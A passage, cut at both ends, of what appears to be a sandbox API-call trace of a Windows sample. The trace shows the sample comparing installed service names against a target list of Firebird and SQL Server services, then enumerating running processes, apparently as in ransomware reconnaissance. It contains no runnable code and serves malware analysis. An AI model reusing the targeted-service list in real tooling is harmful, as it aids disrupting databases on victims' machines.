(lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0273.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0273.268] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0273.268] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0273.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0273.268] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0273.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.268] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0273.268] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0273.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0273.269] lstrlenW (lpString="CDPSvc") returned 6 [0273.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0273.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0273.269] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0273.269] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0273.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0273.269] lstrlenW (lpString="ClickToRunSvc") returned 13 [0273.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.269] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0273.269] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0273.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0273.269] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0273.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.269] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0273.269] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0273.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0273.269] lstrlenW (lpString="CryptSvc") returned 8 [0273.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.269] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.269] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.269] lstrlenW (lpString="DcomLaunch") returned 10 [0273.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.269] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.269] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.270] lstrlenW (lpString="DeviceAssociationService") returned 24 [0273.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.270] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0273.270] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0273.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0273.270] lstrlenW (lpString="Dhcp") returned 4 [0273.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.270] lstrlenW (lpString="Dnscache") returned 8 [0273.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.270] lstrlenW (lpString="DPS") returned 3 [0273.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.270] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.270] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.270] lstrlenW (lpString="DusmSvc") returned 7 [0273.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0273.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0273.271] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0273.271] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0273.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0273.271] lstrlenW (lpString="EventLog") returned 8 [0273.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0273.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0273.271] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0273.271] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0273.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0273.271] lstrlenW (lpString="EventSystem") returned 11 [0273.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.271] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.271] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.271] lstrlenW (lpString="FontCache") returned 9 [0273.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0273.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0273.271] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0273.271] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0273.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0273.271] lstrlenW (lpString="gpsvc") returned 5 [0273.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.272] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.272] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.272] lstrlenW (lpString="iphlpsvc") returned 8 [0273.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.272] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0273.272] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0273.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0273.272] lstrlenW (lpString="KeyIso") returned 6 [0273.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0273.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0273.272] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0273.272] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0273.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0273.272] lstrlenW (lpString="LanmanServer") returned 12 [0273.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0273.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0273.272] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0273.272] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0273.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0273.272] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.272] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.272] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.272] lstrlenW (lpString="lfsvc") returned 5 [0273.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0273.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0273.273] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0273.273] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0273.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0273.273] lstrlenW (lpString="lmhosts") returned 7 [0273.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.273] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.273] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.273] lstrlenW (lpString="LSM") returned 3 [0273.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0273.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0273.273] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0273.273] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0273.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0273.273] lstrlenW (lpString="MpsSvc") returned 6 [0273.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.273] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.273] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.273] lstrlenW (lpString="NcbService") returned 10 [0273.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0273.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0273.273] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0273.273] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0273.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0273.273] lstrlenW (lpString="netprofm") returned 8 [0273.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0273.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0273.274] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0273.274] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0273.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0273.274] lstrlenW (lpString="NgcSvc") returned 6 [0273.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0273.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0273.274] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0273.274] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0273.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0273.274] lstrlenW (lpString="NlaSvc") returned 6 [0273.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.274] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.274] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.274] lstrlenW (lpString="nsi") returned 3 [0273.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.274] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.274] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.274] lstrlenW (lpString="PcaSvc") returned 6 [0273.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.274] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.274] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.274] lstrlenW (lpString="PlugPlay") returned 8 [0273.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.275] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.275] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.275] lstrlenW (lpString="Power") returned 5 [0273.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.275] lstrlenW (lpString="ProfSvc") returned 7 [0273.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.275] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.275] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.275] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.275] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.275] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.275] lstrlenW (lpString="RpcSs") returned 5 [0273.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.275] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.275] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.275] lstrlenW (lpString="SamSs") returned 5 [0273.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.276] lstrlenW (lpString="Schedule") returned 8 [0273.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.276] lstrlenW (lpString="SecurityHealthService") returned 21 [0273.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0273.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0273.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0273.276] lstrlenW (lpString="SENS") returned 4 [0273.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0273.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.276] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.276] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.276] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.277] lstrlenW (lpString="Spooler") returned 7 [0273.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.277] lstrlenW (lpString="SSDPSRV") returned 7 [0273.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0273.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0273.277] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0273.277] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0273.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0273.277] lstrlenW (lpString="StateRepository") returned 15 [0273.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0273.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0273.277] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0273.277] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0273.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0273.277] lstrlenW (lpString="SysMain") returned 7 [0273.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0273.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0273.277] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0273.277] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0273.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0273.277] lstrlenW (lpString="SystemEventsBroker") returned 18 [0273.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.278] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0273.278] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0273.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5070058 | out: hHeap=0x670000) returned 1 [0273.278] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x454 [0273.571] Process32FirstW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.572] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.573] lstrlenW (lpString="System") returned 6 [0273.573] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.573] lstrlenW (lpString="smss.exe") returned 8 [0273.573] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.574] lstrlenW (lpString="csrss.exe") returned 9 [0273.574] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.574] lstrlenW (lpString="wininit.exe") returned 11 [0273.574] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.575] lstrlenW (lpString="csrss.exe") returned 9 [0273.575] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.575] lstrlenW (lpString="winlogon.exe") returned 12 [0273.575] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.576] lstrlenW (lpString="services.exe") returned 12 [0273.576] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.577] lstrlenW (lpString="lsass.exe") returned 9 [0273.577] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.577] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.577] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.578] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.578] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.578] lstrlenW (lpString="svchost.exe") returned 11 [0273.578] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.579] lstrlenW (lpString="svchost.exe") returned 11 [0273.579] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.579] lstrlenW (lpString="dwm.exe") returned 7 [0273.579] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c 